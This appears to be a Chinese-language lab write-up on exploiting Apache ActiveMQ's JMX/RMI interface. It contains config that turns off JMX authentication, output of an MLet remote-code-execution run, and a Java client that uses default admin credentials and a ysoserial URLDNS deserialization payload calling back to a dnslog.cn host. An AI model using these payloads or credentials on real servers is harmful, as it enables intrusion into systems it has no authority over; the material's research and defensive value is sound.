

环境配置

修改confi/activemq.xml，开启jmx支持，在broker节点上添加useJmx="true"，配置如下

```
<broker xmlns="http://activemq.apache.org/schema/core" brokerName="localhost" dataDirectory="${activemq.data}" useJmx="true">
```

对jmx.access、jmx.password文件进行权限更新，执行如下命令

```
chmod 600 conf/jmx.*
```

无认证

配置错误，导致利用RMI的JMX攻击.配置env文件如下

```
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -  
Dcom.sun.management.jmxremote.port=11099 "  
# ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -  
Dcom.sun.management.jmxremote.password.file=${ACTIVEMQ_CONF}/jmx.password"  
# ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -  
Dcom.sun.management.jmxremote.access.file=${ACTIVEMQ_CONF}/jmx.access"  
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -  
Dcom.sun.management.jmxremote.ssl=false"  
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote"  
# ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -  
Djava.rmi.server.hostname=127.0.0.1"  
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -  
Dcom.sun.management.jmxremote.authenticate=false"
```

具体攻击方式参考：<https://hu3sky.github.io/2020/03/06/JMX-RMI/#%E6%94%BB%E5%87%BBJMX>

<https://www.cnblogs.com/afanti/p/10610682.html>

最终效果

该方法在开启认证下，由于触发执行invoker的角色不符合jmx.access中设置 admin，会导致Access denied无法创建实例。所以无法攻击成功。所以只能在配置 -Dcom.sun.management.jmxremote.authenticate=false 无认证下

```
↑ /Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/bin/java ..
↓ objc[7461]: Class JavaLaunchHelper is implemented in both /Library/Java/Java
↳ URL: service:jmx:rmi:///jndi/rmi://127.0.0.1:11099/jmxrmi, connecting
↳ Connected: rmi://127.0.0.1 1
↳ Trying to create bean...
↳ Loaded javax.management.loading.MLet
↳ Loaded class: Evil object MLetCompromise:name=evil,id=1
↳ Calling runCommand with: whoami
↳ Result: osword
```

开启认证下

```
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -
Dcom.sun.management.jmxremote.port=11099"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -
Dcom.sun.management.jmxremote.password.file=${ACTIVEMQ_CONF}/jmx.password"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -
Dcom.sun.management.jmxremote.access.file=${ACTIVEMQ_CONF}/jmx.access"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -
Dcom.sun.management.jmxremote.ssl=false"

ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Djava.rmi.server.hostname=本机IP"
```

这里没有找到存在的gadget 只能用URLDNS尝试验证.

```
ception{

    127.0.0.1:11099/jmxrmi";
    "activemq";
    makePayloadObject( payloadType: "URLDNS", payloadArg: "http://zpr2vh.dnslog.cn");
    s);

    .connect(urls, map: null);

    beanServerConnection();
    java.util.logging:type=Logging");
}
```

Get SubDomain Refresh Record

zpr2vh.dnslog.cn

Record	IP Address	Created Time
	172.253.237.2	2020-09-22 12:34:26

尝试使用ROME进行攻击发现，爆RMI class loader disabled错误,先挖个坑，后续补上

```
/Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/bin/java ...
Exception in thread "main" java.rmi.UnmarshalException: java.lang.ClassNotFoundException: com.sun.syndication.feed.impl.ObjectBean (no security
java.lang.ClassNotFoundException: com.sun.syndication.feed.impl.ObjectBean (no security manager: RMI class loader disabled)
    at javax.management.remote.rmi.RMIConnectionImpl.unwrap(RMIConnectionImpl.java:1601)
    at javax.management.remote.rmi.RMIConnectionImpl.unwrap(RMIConnectionImpl.java:1624)
    at javax.management.remote.rmi.RMIConnectionImpl.invoke(RMIConnectionImpl.java:812) <16 internal calls>
```

payload

攻击jmx

```
import org.apache.activemq.broker.jmx.BrokerViewMBean;
import org.apache.activemq.broker.jmx.QueueViewMBean;
import org.junit.Test;
import ysoserial.payloads.ObjectPayload;

import javax.management.MBeanServerConnection;
import javax.management.MBeanServerInvocationHandler;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIServer;
import java.rmi.RMISecurityManager;
import java.util.*;

public class con {

    public static void main(String[] args) throws Exception{

        Map<String, String[]> env = new HashMap<>();
        String url = "service:jmx:rmi:///jndi/rmi://127.0.0.1:11099/jmxrmi";
        // 默认正好密码
        String[] credentials = new String[]{"admin", "activemq"};
        Object payloadObject = ObjectPayload.Utls.makePayloadObject("URLDNS",
"http://zpr2vh.dnslog.cn");
        env.put(JMXConnector.CREDENTIALS, credentials);
        JMXServiceURL urls = new JMXServiceURL(url);
        JMXConnector connector = JMXConnectorFactory.connect(urls, null);
        connector.connect();
        MBeanServerConnection conn = connector.getMBeanServerConnection();
        ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
```

```

        conn.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new
String[]{String.class.getCanonicalName()});

        //close the connection
        connector.close();

    }
}

```

修复

MessageDatabase对反序列化过滤,但是似乎和JMX攻击影响不大, 先留坑

